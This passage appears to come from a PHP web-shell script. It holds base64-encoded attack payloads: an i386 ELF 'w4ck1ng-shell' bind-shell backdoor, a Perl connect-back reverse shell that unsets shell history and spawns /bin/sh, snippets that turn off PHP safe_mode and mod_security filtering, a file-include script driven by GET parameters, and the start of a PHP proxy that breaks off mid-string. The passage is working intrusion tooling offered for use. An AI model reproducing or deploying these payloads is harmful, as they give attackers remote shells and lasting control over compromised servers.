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X18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
$php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY=";
$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
$sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==";
$phpproxy="
PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pd